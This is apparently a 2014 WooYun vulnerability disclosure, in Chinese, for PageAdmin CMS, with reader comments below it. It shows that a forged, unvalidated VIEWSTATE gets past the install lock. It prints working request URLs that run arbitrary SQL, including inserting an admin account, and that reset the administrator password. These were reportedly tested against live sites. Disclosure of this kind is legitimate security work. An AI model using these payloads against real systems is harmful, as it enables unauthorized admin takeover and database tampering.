当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061699

漏洞标题:PageAdmin可“伪造”VIEWSTATE从而执行任意SQL查询、可随意重置管理员密码

相关厂商:PageAdmin

漏洞作者: wefgod

提交时间:2014-05-21 13:53

修复时间:2014-08-16 13:54

公开时间:2014-08-16 13:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-21: 细节已通知厂商并且等待厂商处理中
2014-05-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-20: 细节向核心白帽子及相关领域专家公开
2014-07-30: 细节向普通白帽子公开
2014-08-09: 细节向实习白帽子公开
2014-08-16: 细节向公众公开

简要描述:

漏洞都是在安装目录下,啥?你说install.lock了?完全木有影响啊!再怎么lock,都一样杀。此漏洞和之前的一些所谓越权是有比较大区别的。稍微用了下“语言特性”,俺还真是头一回发现这货原来还可以这样利用

详细说明:

先例行公事:
官网:http://www.pageadmin.net/
搜索引擎:https://www.google.de/#newwindow=1&q=PageAdmin+CMS,++All+Rights+Reserved&start=90
搜索结果非常巨大,有点让我震惊,所以我才决定去试试看。
好吧,直接插入吧!
任意SQL查询
先访问安装页面:
http://www.youlu888.com/e/install/index.aspx

image001.png


提示已经lock了
直接访问下面的链接(.NET的小“BUG”):

http://www.youlu888.com/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL


image003.png


下面还提示要删除lock文件啊,忽视,随意输入点东西,执行:

image005.png


执行了!
来一发(test2/admin不解释):

insert into pa_member(id,username,userpassword,m_group) values(999,'test2','c868a64eabe1126d5b514afcf8dda46b17f','admin');


同时再执行一个

insert into pa_adminpermission(site_id,uid) values(1,999);


为什么要执行后面这个,请仔细想想表名的意思。另外site_id的信息可看下图:

image009.png


登录:

image010.png


好吧,看看官网吧:

http://demo.pageadmin.net/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL


image012.png


image014.png


找一下后台,登录
http://demo.pageadmin.net/e/master2007/login.aspx

image016.png


获取到物理路径:

image018.png


漏洞证明:

管理员密码任意重置
为了规避一些问题,这个操作我在本地搭建的环境进行。
先看正常步骤,setup=4的时候是管理密码设置

image020.png


这里我设置为了123456,点击下一步的时候记得抓下数据包。
当我再次执行访问setup=4的时候,已经提示lock了:

image021.png


根据我们前面获取到的VIEWSTATE,构造出下面的句子:

e/install/index.aspx?setup=4?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYGAgEPFgIeB1Zpc2libGVoZAIDDxYCHwBoZAIJDxYCHwBnZGQ%3D&Login_Pass=admin&Login_Pass1=admin&ctl09=%E4%B8%8B%E4%B8%80%E6%AD%A5


Login_Pass=admin&Login_Pass1=admin就是把密码设置为admin了,访问之后:
访问:

image022.png


呵呵一笑。说初始化完毕了,去后台登录,看看我们admin/admin是否修改成功:

image024.png


成功!如果觉得有疑问的,可以下载官方给出的包:
http://file.pageadmin.net/v3.rar
自行测试就知道了。
好了,说点实在的东西,那这个

__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D


到底是怎么来的呢?其实很简单,自己本地搭建一个,然后访问获取到相关参数值即可。VIEWSTATE只是保存控件的一个状态,所以只要符合他加密的规律的他自然可以解开并还原控件的状态,然后就呵呵了
其它请参阅:
http://msdn.microsoft.com/zh-cn/library/ms227551(v=vs.80).aspx
具体这个执行任意SQL查询到底还可以干什么?自己发挥想象了。管理员密码重置还挺直接的哈。

修复方案:

安装目录的每个tab页面添加一个token做随机数吧,同时,在做任意一个安装操作的时候,都检查是否有lock文件存在。为了安全嘛!

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-16 13:54

厂商回复:

漏洞Rank:20 (WooYun评价)

最新状态:

2014-05-26:CNVD将近期所有PageAdmin漏洞,一并向软件生产厂商通报处置。


漏洞评价:

评论

  1. 2014-05-21 13:57 | what_news ( 普通白帽子 | Rank:195 漏洞数:48 | 小菜一个 希望成为大菜)

  2. 2014-05-21 14:01 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)

    viewstate没验证吗?

  3. 2014-05-21 14:02 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    技能点get

  4. 2014-05-21 14:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @小新 木有哦。

  5. 2014-05-21 14:06 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    @wefgod 打雷了!

  6. 2014-05-21 14:09 | cmd ( 普通白帽子 | Rank:192 漏洞数:18 )

    果然可以啊,什么原理呢

  7. 2014-05-21 14:09 | 小新 ( 普通白帽子 | Rank:129 漏洞数:19 | 我可是要成为普通白帽子的小新)

    @wefgod enableViewStateMac="false" 给跪

  8. 2014-05-21 14:16 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @小新 哈哈还是大牛你比我理解更深刻。高级程序员的?

  9. 2014-05-21 14:16 | abcdlzy ( 实习白帽子 | Rank:79 漏洞数:14 | 好好学习,天天向上。)

    哎,这是乱用控件的结果么

  10. 2014-05-21 14:17 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @cmd http://msdn.microsoft.com/zh-cn/library/ms227551(v=vs.80).aspx 这里有一些介绍。也有一些安全措施

  11. 2014-05-21 14:21 | cmd ( 普通白帽子 | Rank:192 漏洞数:18 )

    我以为每次访问page_load都会触发呢,原来是这样

  12. 2014-05-21 15:14 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    精华啊啊啊啊

  13. 2014-05-21 15:50 | 溯雪 ( 路人 | Rank:4 漏洞数:4 )

    看成phpmyadmin了。。。顿时吓到了。。。原来是.net的程序

  14. 2014-05-21 16:01 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)

    mark

  15. 2014-05-21 16:33 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    给NET牛跪下了

  16. 2014-05-21 16:35 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @小胖子 小新才是啊。他在上面呢

  17. 2014-05-21 17:21 | Black World ( 路人 | Rank:0 漏洞数:1 | 无孔不入)

    @wefgod 礼物先预订了 丷哈

  18. 2014-05-21 18:05 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    第一眼看成phpmyadmin

  19. 2014-05-21 18:44 | 在路上 ( 普通白帽子 | Rank:193 漏洞数:13 | 在学习的路上、在成长的路上...)

    @wefgod 围观尼玛被雷劈

  20. 2014-05-21 20:15 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Black World 啥礼物……

  21. 2014-05-22 17:30 | magerx ( 普通白帽子 | Rank:257 漏洞数:45 | 别说话。)

    这是要核心的节奏啊

  22. 2014-05-22 18:42 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @magerx 这个不太可能。

  23. 2014-05-26 15:28 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    @wefgod 忽略了

  24. 2014-05-26 16:18 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @Moc 最新状态:2014-05-26:CNVD将近期所有PageAdmin漏洞,一并向软件生产厂商通报处置。悲剧了。难道到点了?@疯狗

  25. 2014-05-26 18:51 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @wefgod weekday

  26. 2014-07-02 10:39 | depycode ( 普通白帽子 | Rank:275 漏洞数:44 | 关注网络安全,提高技术!)

    好多钱

  27. 2014-07-05 21:47 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    pageadmib的小bug还是.net的小bug??

  28. 2014-07-05 23:53 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @好基友一辈子 不是bug,配置问题。为了减轻服务器压力,从而导致了这个问题

  29. 2014-07-06 01:50 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    @wefgod 求科普细节

  30. 2014-07-07 15:43 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    @好基友一辈子 http://msdn.microsoft.com/zh-cn/library/ms227551(v=vs.80).aspx 微软有说了很多这东西

  31. 2014-07-15 12:54 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    你怎么发的 都有好多钱啊 美元是怎么弄的呢

  32. 2014-10-10 16:32 | PageAdmin(乌云厂商)

    PageAdmin 2014-10-10版已经修复次问题